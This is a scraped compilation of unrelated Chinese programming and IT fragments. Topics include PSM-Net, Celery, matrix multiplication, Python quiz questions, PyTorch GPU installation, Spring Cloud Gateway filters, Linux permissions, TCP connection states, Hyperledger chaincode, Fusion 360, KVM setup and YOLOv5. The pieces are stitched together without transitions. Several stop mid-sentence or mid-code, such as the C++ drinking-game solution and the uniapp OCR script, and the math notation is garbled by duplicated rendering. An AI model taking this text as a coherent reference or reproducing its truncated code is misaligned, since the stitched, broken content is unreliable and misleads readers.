问题: 解决: 登陆https://login.teamviewer.com/
只熟悉流程跑通代码不重要,重要的是理解网络的思想。GC-Net提出了3D-CNN编解码的形式做’cost volum ’ 后处理的过程,PSM-Net 加入图像金字塔的模块结合3D-CNN 输出图像视差图。
一. 特征提取模块 作者用 3层 33的小卷积核代替 77 的大卷积核,将图像降维1/2size. 虽然拥有同样大小的感受野,但深层的小 conv filter 显然有更少的参数,降低了计算成本。
def convbn(in_planes, out_planes, kernel_size, stride, pad, dilation): return nn.Sequential(nn.Conv2d(in_planes, out_planes, kernel_size=kernel_size, stride=stride, padding=dilation if dilation > 1 else pad, dilation = dilation, bias=False), nn.BatchNorm2d(out_planes)) 第一层 stride=2是为了降维输入图像 size,第二、三层是为了扩大感受野。 self.firstconv = nn.Sequential(convbn(3, 32, 3, 2, 1, 1), nn.ReLU(inplace=True), convbn(32, 32, 3, 1, 1, 1), nn.ReLU(inplace=True), convbn(32, 32, 3, 1, 1, 1), nn.ReLU(inplace=True)) conv1_x、conv2_x、conv3_x、conv4_x是提取二值特征的残差层。conv3_x、conv4_x使用了空洞卷积增大感受野,输出特征图的size是原图的1/4.
是不是又看到了大家熟悉的_make_layer ,别慌!一条条来! self.
设计一个简单的计算器,完成两个数的加、减、乘、除、取余。(根据输入的运算符,选择相应的运算,用switch语句实现。 实验代码:
#include <stdio.h> #include <math.h> int main() { double x,y; char c; printf("请输入算术表达式:"); scanf("%lf%c%lf",&x,&c,&y); switch(c) { case '+' : printf("结果的值为:%lf\n",x+y);break; case '-' : printf("结果的值为:%lf\n",x-y);break; case 'x' : case '*' : printf("结果的值为:%lf\n",x*y);break; case '/' : printf("结果的值为:%0.3lf\n",x/y);break; case '%' : printf("结果的值为:%lf\n", fmod(x,y));break; default:printf("你输入的表达式有错误\n"); } return 0; } 实验截图:
注意:x%y是对于整型数据才可以取余,而我们对于一个浮点数取余之时,我们需要采取math.h头文件、运用fmod函数。
case '%' : printf("结果的值为:%lf\n", fmod(x,y));break;
目录
1. 问题抛出
celery介绍
1. 快速入门(一)
1.1 Task Queue
1.2 celery 安装
1.3 broker
1.RabbitMQ
2.Redis
1.4 Application
1.创建应用
2.调用任务
3.存储结果
1.5 配置
1.直接通过app来配置
2.专有配置文件
2. 快速入门(二)
2.1 项目中使用celery
2.2 调用任务(Calling Task)
2.3 Designing Work-Flows
1. signature
2. Primitives
2.4 Routing
3. Periodic Tasks
4. Django调用celery
4.1 配置celery
1. 配置celery
4.2 保存任务结果
2. 存储任务结果
4.3 定时任务
3. 定时任务
1. 问题抛出 我们在做网站后端程序开发时,会碰到这样的需求:用户需要在我们的网站填写注册信息,我们发给用户一封注册激活邮件到用户邮箱,如果由于各种原因,这封邮件发送所需时间较长,那么客户端将会等待很久,造成不好的用户体验.
那么怎么解决这样的问题呢?
我们将耗时任务放到后台异步执行。不会影响用户其他操作。除了注册功能,例如上传,图形处理等等耗时的任务,都可以按照这种思路来解决。 如何实现异步执行任务呢?我们可使用celery。celery除了刚才所涉及到的异步执行任务之外,还可以实现定时处理某些任务。
celery介绍 Celery是一个功能完备即插即用的任务队列。它使得我们不需要考虑复杂的问题,使用非常简单。celery看起来似乎很庞大,本章节我们先对其进行简单的了解,然后再去学习其他一些高级特性。 celery适用异步处理问题,当发送邮件、或者文件上传, 图像处理等等一些比较耗时的操作,我们可将其异步执行,这样用户不需要等待很久,提高用户体验。 celery的特点是:
矩阵乘法的三种视角 后续图卷积网络的原理讲解主要以矩阵乘法的显示展开,这里介绍矩阵乘法的几种不同的视角,这些视角有助于我们理解图卷积网络的逻辑过程。
对于矩阵 A ∈ R m × n A\in R^{m\times n} A∈Rm×n 和 矩阵 B ∈ R n × p B \in R^{n\times p} B∈Rn×p,它们的乘积 C ∈ R m × p C \in R^{m \times p} C∈Rm×p,可以由如下三种视角计算得到。
內积视角:这是我们本科阶段就接触到的视角。矩阵 C C C 的第i 行第 j 列是由矩阵 A A A 的第 i i i 和矩阵 B B B 的第j列做內积运算得到。
即: c i , j = A i , ∗ × B ∗ , j = ∑ k = 1 n a i , k ∗ b k , j c_{i,j}=A_{i,*}\times B_{*,j}=\sum_{k=1}^{n} a_{i,k}*b_{k,j} ci,j=Ai,∗×B∗,j=∑k=1nai,k∗bk,j。 A i , ∗ A_{i,*} Ai,∗表示A的第i行, B ∗ , j B_{*,j} B∗,j表示B的第j列。行向量视角:矩阵 C C C的第 i i i 行可以看做矩阵 B B B 的所有行向量以矩阵 A A A 的第i行为系数,线性组合而得到。这里的逻辑是:矩阵 C C C 的第 i i i 行的形状是 1 × p 1\times p 1×p,该形状与矩阵 B B B 的每一行的形状( 1 × p 1 \times p 1×p)是一致的。因此我们看可以把 C C C的第 i i i 行,看成是矩阵 B B B 的所有行的线性组合。那么组合过程的系数是谁呢?因为每次组合,需要对矩阵 B B B 的 m m m 个行向量进行组合,那么势必需要 m m m 个系数,每个系数负责去乘以一个行向量,很自然地 矩阵 A A A 的第 i i i 列 恰好是有 m m m 个元素的,可以充当系数。
划拳是古老中国酒文化的一个有趣的组成部分。酒桌上两人划拳的方法为:每人口中喊出一个数字,同时用手比划出一个数字。如果谁比划出的数字正好等于两人喊出的数字之和,谁就输了,输家罚一杯酒。两人同赢或两人同输则继续下一轮,直到唯一的赢家出现。
下面给出甲、乙两人的酒量(最多能喝多少杯不倒)和划拳记录,请你判断两个人谁先倒。
输入格式:
输入第一行先后给出甲、乙两人的酒量(不超过100的非负整数),以空格分隔。下一行给出一个正整数N(≤100),随后N行,每行给出一轮划拳的记录,格式为:
甲喊 甲划 乙喊 乙划 其中喊是喊出的数字,划是划出的数字,均为不超过100的正整数(两只手一起划)。
输出格式:
在第一行中输出先倒下的那个人:A代表甲,B代表乙。第二行中输出没倒的那个人喝了多少杯。题目保证有一个人倒下。注意程序处理到有人倒下就终止,后面的数据不必处理。
输入样例:
1 1 6 8 10 9 12 5 10 5 10 3 8 5 12 12 18 1 13 4 16 12 15 15 1 1 16 输出样例:
A 1 #include <iostream> using namespace std; int main() { int A, B, a = 0, b = 0, N, a1, a2, b1, b2; cin >> A >> B >> N; for (int i = 0; i < N; ++i) { cin >> a1 >> a2 >> b1 >> b2; if (a1 + b1 == a2 && a2 !
【简答题】
【简答题】请写出下列程序的运行结果: def add_b(): global b b = 42 def do_global(): #global b b = b + 10 print(b) do_global() print(b) add_b()
【简答题】什么是空字典和空集合?如何创建
【其它】QTP实验报告
【简答题】实现栈类(顺序栈跟链栈均可),并利用栈实现十进制到二进制的转换。 将源代码.py文件作为附件上传。
【填空题】流程图是描述 的常用工具。
【单选题】语句print('x=${:7.2f}'.format(123.5678))执行后的输出结果是( )。选项中的 □代表空格。
【简答题】请大家把完整的、整理好的、修改过的、有得分的第一篇新闻听写提交到“答案”处。
【简答题】“拯救亚马逊雨林”堪称世界上最危险的战斗
【其它】LR相关作业
【简答题】下列 Python 语句的运行结果为 。 x= True y= False z= True if not x or y:print(1) elif not x or not y and z:print(2) elif not x or y or not y and x:print(3) else:print(4)
【简答题】
【填空题】在 Python无穷循环 while True:的循环体中可以使用( )语句退出循环
【单选题】已知x=2并且y=3,复合赋值语句x*=y+5执行后x变量中的值是?
【单选题】在 Python 程序中对于表达式 123+ "xyz ", 解释器将抛出 ( ) 错误信息。
【单选题】如在类中存在有_value,则表示它是
【单选题】( )是 Python官方的扩展库命令,使用的较为普遍。
【单选题】下列选项中,( )的布尔值不是 Flase 。
【单选题】下列符号中,表示 Python 中单行注释的是( )。
【单选题】在下列选项中,不属于 Python特点的是( )。
【填空题】Python表达式10+5//3-True+ False的值为
【填空题】要使语句 for i in range(,-4,-1)循环执行3次,则循环变量的初值应当为( )
【填空题】若 a=4 , b=2 ,那么( a or b )的值为 __________ 。
【填空题】0b00001000>>3 的结果是 _________ 。
【单选题】s={'a',1,'b',2};print(s['b'])的结果是
【单选题】数学关系式2
【填空题】下列 Python语句的输出结果是? x=y=[1, 2];x.append(3) print(y)
【填空题】送代器是一个对象,表示可送代的数据集合,包括(__iter__)方法和 ( )方法可实现选代功能。
【单选题】在 Python中一行书写两条语句时,语句之间可以使用作为分隔符
【填空题】若 a=10 ,那么 bin(a) 的值为 __________ 。
一、粘性布局 position: sticky 配合 [left, right, top, bottom] 中一个即可实现粘性布局 二、坑 粘性布局只在其父元素空间内生效,且要实现 “粘性” 效果,对其父元素有以下要求,否则粘性效果会失效
(1)必须满足父元素在需要粘的轴上的空间 > 粘性布局子元素在需要粘的轴上的大小(例如子元素设置top/bottom粘垂直轴,父元素的高度需要大于子元素的高度,这样才有可以活动的空间嘛)
(2)父元素中不能设置 overflow: hidden 或 overflow: auto未同时设置 [left, right, top, bottom] 中一个会使得粘性效果消失sticky 粘性效果失效时,其表现与 relative 差不多
仅作为记录,大佬请跳过。
文章目录 背景下载安装手把手步骤 检验 背景 将pytorch的cpu版改成gpu版,这个问题困扰博主很长时间。
博主一直使用的是pytorch的cpu版,跑通了一些程序;但担心改装成gpu版本后,担心程序出现bug或其他未知的错误,一直不太敢改动。
之前一直在搜索pytorch的cpu版本和gpu版本能否共存的问题,但没有找到较好的解释;直到会议上,朋友提示使用anaconda建立新的environment去使用gpu版本时,我才敢大胆一试。(因为anaconda中不同environment中的包是互不干扰的,大不了就新建一个专门使用pytorch的gpu版本的environment,原来的pytorch的cpu版本不动。)
(后来发现,其实不用担心cpu版本和gpu版本是否可以共存的问题,因为在安装gpu版本时,系统会自动删除cpu版本)
下载安装 关键
在pytorch官网,再次进入生成命令中的链接,下载到本地,使用命令提示符的管理员模式安装。(即进行本地安装)
手把手步骤 1、进入pytorch官网,根据选择生成Run this Command:
(安装的话,第一步看到此即可,然后转到第二步)
各行选择解释:
PyTorch Build:稳定版和测试版,博主选择stable稳定版
Your OS:博主选择windows操作系统
Package:博主选择pip安装;pip是python自带的安装库的命令,conda应该是anaconda(一个python库管理的第三方软件平台)安装库的命令
Language:选择python,之前好像还要选择python版本
CUDA:这个是关键!none的话是按照pytorch的cpu版本,其他的是安装gpu版本。需要查看笔记本支持的gpu的cuda版本,然后选择。查看流程:进入桌面——鼠标右键——点击nvidia控制面板——帮助——系统信息——组件,即可找到笔记本上的cuda版本。
博主是cuda10.1,所以选择10.1
Run this Command:是自动生成的安装包的命令,将其复制到命令提示符,回车即可进行安装。但,博主根据大佬博主的指示,进行本地安装。
参考
传送门1
传送门2
2、第二步,进入生成的链接https://download.pytorch.org/whl/torch_stable.html(根据自己电脑生成的进入,不一定是此链接)
是这种页面:
3、选择Run this Command:中要求的版本,下载到磁盘根目录E盘下。
博主的显示需要下载3个:torch、torchvision、torchaudio
下载对应的版本:
4、命令提示符安装
命令提示符进入管理员模式——输入E:(因为地3步将文件下载到了E盘根目录)——输入pip install ……(带后缀的文件名)——回车安装
展示:
至此,pytorch的gpu版安装完成,(cpu版也已自动删除)
检验 博主想检验现在的pytorch是不是gpu版本,打开pycharm,1、输入
import torch print(torch.__version__) 显示:
2、删除代码,再输入
import torch print(torch.version.cuda) 显示:
3、不删除代码,再输入
print(torch.cuda.is_available()) print(torch.cuda.device_count()) 显示:
说明pytorch的cpu版改成gpu版,实测成功
通过调用百度api实现 每天500次免费次数
注意:需要先获取access_token
https://ai.baidu.com/ai-doc/OCR/rk3h7xzck百度那边的文档
uniapp的微信小程序端适用 <template> <view class="content"> <!-- <image class="logo" src="/static/logo.png"></image> --> <view class="text-area"> <text class="title">{{title}}</text> </view> <view class="" @click="getACSS_TOKEN" style="font-size: 36px;"> gettoken </view> <view class="" @click="test"> test </view> <image :src="base64str" mode=""></image> </view> </template> <script> export default { data() { return { title: 'Hello', apiKey: '', SecretKey: '', base64str: '' } }, onLoad() { // 在百度智能云那边创建一个应用后可以获取到下面两个参数 api Key 和 Secret Key this.apiKey = uni.getStorageSync('apiKey') this.SecretKey = uni.getStorageSync('SecretKey') }, methods: { test() { let that = this let access_token = uni.
过滤器工厂详解 TIPS
本文基于 Spring Cloud Hoxton M2 ,理论支持 Spring Cloud Greenwich ,其中的新特性标注出来了。
这一节来探讨Spring Cloud Gateway内置的Filter工厂。
技巧 断点打在 org.springframework.cloud.gateway.filter.NettyRoutingFilter#filter ,就可以调试Gateway转发的具体细节了。
添加如下配置,可观察到一些请求细节:
logging: level: org.springframework.cloud.gateway: trace org.springframework.http.server.reactive: debug org.springframework.web.reactive: debug reactor.ipc.netty: debug 1 AddRequestHeader GatewayFilter Factory spring: cloud: gateway: routes: - id: add_request_header_route uri: https://example.org filters: - AddRequestHeader=X-Request-Foo, Bar 为原始请求添加名为 X-Request-Foo ,值为 Bar 的请求头。
2 AddRequestParameter GatewayFilter Factory spring: cloud: gateway: routes: - id: add_request_parameter_route uri: https://example.org filters: - AddRequestParameter=foo, bar 为原始请求添加请求参数 foo=bar
第二章 应用层 网络应用是计算机存在的理由,若我们不能构想出有意思的应用,也就失去了设计支持它们(应用)的网络协议。 2.1 应用层协议原理 多端通信; 只关注应用层 -> 应用程序 BOOM !!! 2.1.1 网络应用程序体系结构 应用程序体系结构 !== 网络体系结构应用程序程序员视角: 网络体系结构是固定的;它(网络体系结构)为应用程序提供特定的服务集合。应用程序体系结构由应用程序研发者设计:规定如何在多端组织该应用程序应用程序的两种主流体系结构 客户端 - 服务器 : 服务器总是打开的,服务于请求它的客户;具有这种体系结构的应用程序包括 Web, FTP, Telnet, 电子邮件。(服务器不单是一台主机,而是一个或多个数据中心[Data Center]分布式提供服务。)P2P(Peer-To-Peer) : 用户到用户的报文用于对等主机之间(无须通过中间服务器)直接发送。P2P 的特性之一 自扩展性(self-calability)相当引人入胜。 2.1.2 进程通信 跨端进程(程序)通信过程:发送进程生成并向网络中发送报文 --> 接收进程接收这些报文并可能通过会送报文进行响应。 1. 客户和服务器进程 网络应用程序由成对的进程组成,这些进程通过网络互相发送报文。将其一表示为客户(client), 另一进程标识为服务器(server)。 2. 进程与计算机网络之间的接口 进程向进程发送报文必须通过下面的网络。进程通过一个称为套接字(socket)的软件接口向网络发送/接收报文。可以将进程比作房子,套接字比作房子的门。(假定门与门之间有运输的基础设施)套接字是同一台主机内应用层与传输层之间的接口。套接字被称为应用程序和网络之间的应用程序编程接口(API)。应用程序开发者可以控制套接字在应用端的一切;对套接字的运输层端几乎没有控制权。应用程序开发者对运输层的控制仅限于:1. 选择运输层协议 2. 也许能设定几个运输层参数:最大缓存和最大报文长度等。应用程序开发者选择一个运输层协议(若提供选择),则应用程序就建立在由该协议提供的运输层服务之上。 3. 进程寻址 主机由 IP地址 (IP address) 标识。 IP 地址是一个 32 bit(比特)的量。一台能够运行多个网络应用。端口号(Port Number) 用于这个目的。web: 80 smtp: 25 2.1.3 可供应用程序使用的运输服务器 一个运输层协议能为调用它的应用程序提供:可靠数据传输/ 吞吐量/ 定时/ 安全。 1. 可靠数据传输 分组在计算机网络中可能丢失:分组能使路由器中缓存溢出; 分组中的某些比特损坏后可能被丢弃。确保进程发送的数据正确,完全交付到另一进程。如果一个协议提供了这种服务时,就认为提供了可靠数据传输(reliable data transfer) 2.
Author: 杭州电子科技大学-自动化学院-智能系统和机器人研究中心-Jolen Xie
先引入头文件 import tensorflow as tf 1.计算参数量 def count_param(): # 计算网络参数量 total_parameters = 0 for v in tf.trainable_variables(): shape = v.get_shape() variable_parameters = 1 for dim in shape: variable_parameters *= dim.value total_parameters += variable_parameters print('网络总参数量:', total_parameters) 2. 计算FLOPS def count_flops(graph): flops = tf.profiler.profile(graph, options=tf.profiler.ProfileOptionBuilder.float_operation()) print('FLOPs: {}'.format(flops.total_float_ops)) 3.一起算 def stats_graph(graph): flops = tf.profiler.profile(graph, options=tf.profiler.ProfileOptionBuilder.float_operation()) params = tf.profiler.profile(graph, options=tf.profiler.ProfileOptionBuilder.trainable_variables_parameter()) print('FLOPs: {}; Trainable params: {}'.format(flops.total_float_ops, params.total_parameters)) 一起算的使用方法:
... graph =tf.get_default_graph() stats_graph(graph) .
由于找不到MSVCR110.dll,无法继续执行代码。重新安装程序可能会解决此问题 当只缺少一个文件的时候可以用我在这个博客中的办法也可解决
但当缺少多个dl文件的时候还是不建议用这个方法,比较容易报错,可能导致系统的其他文件错乱,建议直接使用这个,方便还比较简单,
各类dll文件出错,一般都是系统在安装的时候出错,或者是有配置文件丢失
就会导致出现这一类的问题,只需要按照如下步骤操作即可
1、首先输入 http://www.microsoft.com/zh-CN/download/details.aspx?id=30679 这个网址。
打开之后,要选择“简体中文”,直接点击“下载”按钮就可以了;
2、接下来就到下载页面,里面有计算机的型号,根据自己计算机要对应下载,选择好以后,就点击下载就可以了;
3、就到感谢下载的页面,程序也在开始下载了,文件不大;
4、找到已经下载的文件,运行文件就可以了,运行之后就出现下面的图片所示,在“我同意许可条款和条件”的前面给打上勾,然后点击“安装”就可以了;
注:这个图片是在百度上找到的,,之前给别人解决这一类的问题的时候需要有这个操作
但我自己在使用这个的时候是没有这样的
直接就只是这个样子,点击修复即可
然后就是修复完成
这样即可解决这一类的问题
再重启安装的Xshell或者其他软件,基本上不会出现这一类的问题
(:今天在实验楼复习Linux的时候看到了用二进制数字表示文件权限的解释,所以做一下笔记记录一下。
有兴趣去做的同学可以打开 实验楼 Linux 基础入门 去实操一下
文章目录 查看文件权限二进制表示文件权限修改文件权限 查看文件权限 查看当前目录下的所有文件(带有文件权限)
ls -l 当前目录下所有文件的权限 ls -l /a 查看的是b文件的权限 ls -l /a/b 查看的是c文件的权限 ls -l /a/b/c 查看的是c文件的权限 下图很好的解释了上面各项的意思
上图意思为该文件类型为目录
上图 rwx 代表的是所有者(user)拥有的权限
上图 r-x 代表的是组群(group)拥有的权限
上图 r-x 代表的是其他人(other)拥有的权限
二进制表示文件权限 我们记住这句话:
有这个权限,则这一位就为1
我们看看例子:
前三个rwx都在,所以前三个每一个都为1,二进制表示为7。
中间三个缺少了一个w,所以除了w之外其他两个都为1,二进制表示为5。
后面三个缺少了一个w,所以除了w之外其他两个都为1,二进制表示为5。
所以这个目录文件的权限用二进制表示就是 755。
嫌麻烦的同学也可以直接记每个权限对应的数字
权限数字表示:
r ---------- 4
w --------- 2
x ---------- 1
再举个例子,下面的权限用二进制表示是什么呢?
rwx rw- r–
答案在文章最后找。
修改文件权限 看回我们刚刚创建的一个 demo.txt
如果我们想要它的权限全开,那应该怎么操作呢?
chmod 777 abc.txt //给demo.txt文件文件设置777权限 修改成功!
一、目的 1、电脑重做系统后,打开Unity项目跳出了sentinel key not found (h0007) Unity对话框 二、参考 1、sentinel key not found (h0007) Unity https://blog.csdn.net/alexhu2010q/article/details/101367845
总结:good:能实现 2、cmd中如何进入某文件目录 https://zhidao.baidu.com/question/18450488.html
总结:good:i一开始不知到如何cmd进入到Unity安装目录,参考这个知道如何进行了 三、操作 1、管理员打开命令提示符 2、输入如下 d: cd Unity cd 2017.4.35f1\Editor hasp_update.exe u unity-sl.v2c
统计在一台前端机上高峰时间TCP连接的情况,统计命令:
netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'
结果:
除了ESTABLISHED,可以看到连接数比较多的几个状态是:FIN_WAIT1, TIME_WAIT, CLOSE_WAIT, SYN_RECV和LAST_ACK;下面的文章就这几个状态的产生条件、对系统的影响以及处理方式进行简单描述。
发现存在大量TIME_WAIT状态的连接
tcp 0 0 127.0.0.1:3306 127.0.0.1:41378 TIME_WAIT
tcp 0 0 127.0.0.1:3306 127.0.0.1:41379 TIME_WAIT
tcp 0 0 127.0.0.1:3306 127.0.0.1:39352 TIME_WAIT
tcp 0 0 127.0.0.1:3306 127.0.0.1:39350 TIME_WAIT
tcp 0 0 127.0.0.1:3306 127.0.0.1:35763 TIME_WAIT
tcp 0 0 127.0.0.1:3306 127.0.0.1:39372 TIME_WAIT
tcp 0 0 127.0.0.1:3306 127.0.0.1:39373 TIME_WAIT
tcp 0 0 127.0.0.1:3306 127.0.0.1:41176 TIME_WAIT
通过调整内核参数解决
bond配置红帽官方:
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/s2-networkscripts-interfaces-cha
绑定的MAC地址将从第一个要获取接口的接口获取。如果需要,也可以使用HWADDR指令指定它。如果要NetworkManager控制此接口,请删除该NM_CONTROLLED=no指令,或将其设置为yes,然后添加TYPE=Bond和BONDING_MASTER=yes。 创建通道绑定接口后,必须通过在其配置文件中添加MASTER和SLAVE指令来配置要绑定在一起的网络接口。每个通道绑定接口的配置文件可以几乎相同。
1.链码结构总述 这里,链码的开发用的是Go语言,为此需要先简单学习一下Go语言,这是一门轻量级的语言,有意思的是它自带通道,可以并发,就很适合大型分布式系统的开发。
启动链码必须调用shim包中的Start函数,这个函数的参数是一个Chaincode接口类型,Chaincode这个接口类型中有两个方法分别是Init和Invoke,这是链码开发中极为重要的两个方法:
Init:在链码实例化或者升级的时候被调用,完成数据初始化;Invoke:在更新或查询提案事务中分类帐本数据状态的时候被调用。 在实际开发中,需要定义一个结构体,重写Init和Invoke两个方法完成相关功能。下面具体看看一个链码必要的结构:
package main //所写的包的名称 import ( "fmt" "github.com/hyperledger/fabric/core/chaincode/shim" "github.com/hyperledger/fabric/protos/peer" )//引入必要的包 type HelloChaincode struct{}//定义一个结构体 func main() { err := shim.Start(new(HelloChaincode)) if err != nil { fmt.Printf("链码启动失败: %v", err) } }//主函数,调用shim.Start方发启动链码 func (t *HelloChaincode) Init(stub shim.ChaincodeStubInterface) peer.Response{ } func (t *HelloChaincode) Invoke(stub shim.ChaincodeStubInterface) peer.Response{ fun, args := stub.GetFunctionAndParameters() } 2.熟悉链码相关API 主要是shim包提供的API,分为5类:
参数解析API:用来获取参数的账本数据状态操作API:对账本数据查询、更新等交易信息获取API:获取提交的交易信息事件处理API:与事件处理相关对私有数据操作的API:专门对私有数据操作 API的数量还是比较多的,大多是获取相关信息的,有时间可以仔细看看,初级阶段主要使用的几个:
GetFunctionAndParameters()(function string,params []string)返回被调用函数的名称以及参数列表GetStringArgs()[]string 直接返回参数列表GetState(key string)([]byte,error) 根据指定的key值查询数据状态PutState(key string,value []byte)error 根据指定的key,将对应的value保存到帐本中 3.链码实现Hello World 3.1 链码开发 先写个hello world练练手哈。
细节知识 Fusion 360 本文,我们将使用“模型”,“造型”和“修补程序”工作区中的“创建”菜单来制作实体模型,T样条曲线和曲面模型。 模型模式可生成具有定义的边线和尺寸的坚固,精确的表格。 雕刻模式可形成固体,有机的流动形式。 修补模式可创建具有定义的边缘和尺寸的空心精确形状。 我们将在所有三个工作区之间反弹模型,以利用它们的独特功能。
直接和参数建模 参数化建模最适合需要精确尺寸进行制造的项目。 它使用基于特征的实体和曲面设计工具。 所有动作都记录在一个时间轴中,您可以更改任何操作(例如草图的大小),并在上游进行所有更改。 您可以设置参数以及参数之间的关系;例如,使一个主体始终保持另一个主体尺寸的一半。 这使您可以自动进行重复更改,并对基本设计进行小的自定义更改。
直接建模最适合概念性思考。 设计起来更容易,因为草图和实体之间没有关联性;也就是说,您不会收到错误消息,告诉您不能移动实体,因为草图引用了它。 没有时间表,因此您无法更改任何内容,也无法更改周围的所有内容。
要直接建模,请在浏览器中右键单击文件标题,然后单击“不捕获设计历史记录”(下图)。 将出现一条消息,指出将删除所有设计历史记录;单击继续。 您拥有的所有时间轴都将被删除,并且从那时起将没有时间轴。 您还可以直接在时间轴上为特定操作建模;只需右键单击操作的时间轴图标,然后选择“转换为DM功能”即可。 这样,您就不会丢失其他所有时间轴图标。
图略
一些工具仅存在于直接建模中,而其他工具仅存在于参数化中。 “模型”和“修补程序”工作区提供直接和参数化建模。 造型模式仅提供直接。
建模工作流程 您可以在Model中启动一个项目,然后在Patch中完成它,或者在Sculpt中启动它,然后将其引入Model中。 通过此工作流程,您可以利用每个工作区的功能。 您可以将Sculpt中的项目带到“修补程序”或“模型”工作区中,然后仅以直接建模模式而不是参数模式再次带回。 您无法在Sculpt中修改实体模型。
模型工作区 点击创建菜单(下图)。
图略
在这里,您会找到现成的主体:盒子,圆柱体,球体,圆环,盘管和管道。 若要查看工作原理,请单击“框”,然后单击“原点平面”。 单击三次以勾画框,然后将其拉到所需的高度(下图)。
图略
试用其余的框(下图)。 管道需要一条预定的线才能将其拉动;您可以绘制一条线或样条线,也可以使用主体上的边缘。
图略
主体和组件 Fusion 360使用主体和组件系统。 设计决策应基于此系统做出,因此让我们先讨论这个主题,然后再继续。
主体 主体是单个3D框。 我们刚刚制作的盒子是一个主体。 当从工具对话框中选择“新建主体”时,“创建”菜单中的大多数工具都会创建新主体。 拆分主体时,两个部分都是主体。 相互添加和减去主体以进行设计。 例如,您可以通过制作底座的主体和徽标的主体,然后将它们结合在一起来对名片进行建模。
四种不同类型的主体如下:
由Fusion的模型工作区制成的实体在Fusion的修补工作区中制作的曲面在Fusion的Sculpt模式制作T样条网格,这是导入的STL或OBJ文件。 必须将网格主体转换为实体才能进行编辑。 但是,Fusion只能转换没有孔或其他缺陷的网格。 不同的主体类型不会互相影响。 必须先将它们转换为相同的类型,然后才能加入,剪切或相交。 Solid和Surface是Fusion的核心主体类型,因此最好最终将模型转换为其中一种格式。 这使您可以使用完整的Fusion工具集进行组装,制造和仿真。
所有主体转换都必须在直接建模模式下完成,因此,如果您处于参数模式,请右键单击浏览器的标题字段,然后选择“不捕获设计历史记录”。 然后,通过在其周围拖动选择窗口,单击鼠标右键,然后选择“网格主体到BRep”或“ BRep到网格主体”,来选择要转换的项目(下图)。
图略
如果未显示这些选项,请尝试以其他方式选择它,例如,通过单击其浏览器条目。
您可以转换:
实体/曲面到T样条T样条到实体/曲面网格到R样条网格到实体/曲面(如果网格没有缺陷) 组件 组件是容纳主体的容器。 更典型地,一个组件包含多个实体,草图以及组成零件的任何其他构造对象。 装配,CNC指令和比例图以及创建物料清单需要零件。 默认情况下,浏览器代表一个组件,顶部的浏览器节点(带有文件标题的文本字段)是设计的“根”。 通过浏览器,您可以将一个组件拖到另一个组件中,这将创建一个子装配(一个组件中的一个组件)。
平常打开 Office 软件(Word、Excel、PowerPoint),大家有没有觉得有点慢呢?
为了提升软件利用效率,很多人给 Office 软件安装了各种各样的插件,不过因此,软件打开也变慢了。
今天我给大家安利一个小利器——mobp,由知乎 @kkocdko 分享,可以让三大 Office 软件(Word、Excel、PowerPoint)在后台常驻(其他 Office 软件暂不支持),这样打开软件的时候就可以快一点了。
关于这个工具,下面作简要介绍。
01 官网 02 大小 03 适用 04 安装 05 开启 06 关闭 07 自启 08 注意 09 总结 01 官网 github.com/kkocdko/mobp
02 大小 目前最新的 1.1.5 版约占 4KB。
03 适用 建议在 win 10 系统 Office 2016 以上版本使用。
04 安装 无需安装,是 exe 文件,可直接运行。
05 开启 运行程序,Word、Excel 和 PowerPoint 就会常驻后台。
接下来,打开软件或文档时,就可以缩短所需时间了。
06 关闭 如果想关闭该工具,可通过如下两种方式。
① 再次打开程序
开启工具后,当再次运行,就会关闭后台中常驻的 Office 程序。
文章目录 一、安装虚拟机前提条件二、手动安装虚拟机三、虚拟机快照1.虚拟机母体添加后,手动添加虚拟机的快照步骤:2.使用脚本建立新的虚拟机,脚本的内容时直接进行前期的默认设置3.脚本做快照4.快照被破坏后,重新建立 四、虚拟机管理命令五、虚拟机在 Linux 系统中传输实验步骤: 六、建立网桥建立网桥,与本机连接网络 一、安装虚拟机前提条件 1,kvm 安装条件
[root@westos_student3 ~]# less /proc/cpuinfo #查看安装条件,有vmx,svm 1)inter cpu ----> vmx
2)amd cpu -------> svm
2,kvm 虚拟化相关信息########
服务名称:libvirtd
虚拟化核心:qemu/kvm
虚拟化存储目录(虚拟机硬盘):/var/lib/libvirt/images/westos.qcow2
虚拟化硬件信息:/etc/libvirt/qemu/westos.xml
3,kvm 虚拟化安装
Virtualization Client ##虚拟化客户端
Virtualization Tools ##虚拟化工具
Virtualization Hypervisor ##虚拟化核心套件
[root@westos_student3 ~]# mount /isos/rhel-8.2-x86_64-dvd.iso /mnt/ #挂载镜像 [root@westos_student3 ~]# df #查看挂载 [root@westos_student3 ~]# dnf group list --hidden #列出隐藏软件案组 [root@westos_student3 ~]# dnf group install "Virtualization Client" "Virtualization Hypervisor" "Virtualization Tools" #把列出的隐藏软件案组里面的这三个组建安装 [root@westos_student3 ~]# vim /etc/yum.
用户输入石头、剪刀或布,电脑也会出一个招,要求得出最终结果,显示胜利玩家。
//用数字来代表猜拳 var m=prompt('请输入你的值: ') //取值0-2 if(m>=0 && m <=2){ //判断0为“石头” if(m==0){ console.log('石头') } //判断1为“剪刀” else if(m==1){ console.log('剪刀') } //判断2为“布” else if(m==2){ console.log('布') } } //电脑的随机取值 var n=parseInt(Math.random()*3) if(n==0){ console.log('石头') } else if(n==1){ console.log('剪刀') } else if(n==2){ console.log('布') } //用数字代表石头、剪刀、布,来判断谁输谁赢 if(m==0&&n==1){ console.log('我赢') } else if(m==0&&n==2){ console.log('电脑赢') } else if(m==2&&n==0){ console.log('我赢') } else if(m==2&&n==1){ console.log('电脑赢') } else if(m==1&&n==2){ console.log('我赢') } else if(m==1&&n==0){ console.log('电脑赢') } else if(m==n){ console.log('平局') }
最近一直在用yolov5(v1.0版本)做头盔、安全帽、人脸三分类的检测任务,数据集是三个数据集的融合,关于融合数据集前边说到过,这里就不再提起,最终的指标(0.5的阈值)如下:
尝试了一些增强数据方法,也用了很多优化策略,但是指标都不提升,因此从数据角度查找原因,通过指标可以看出,模型的精度很高,召回率较低,因此说明模型漏检问题较为严重,对detect.py文件进行一些修改,
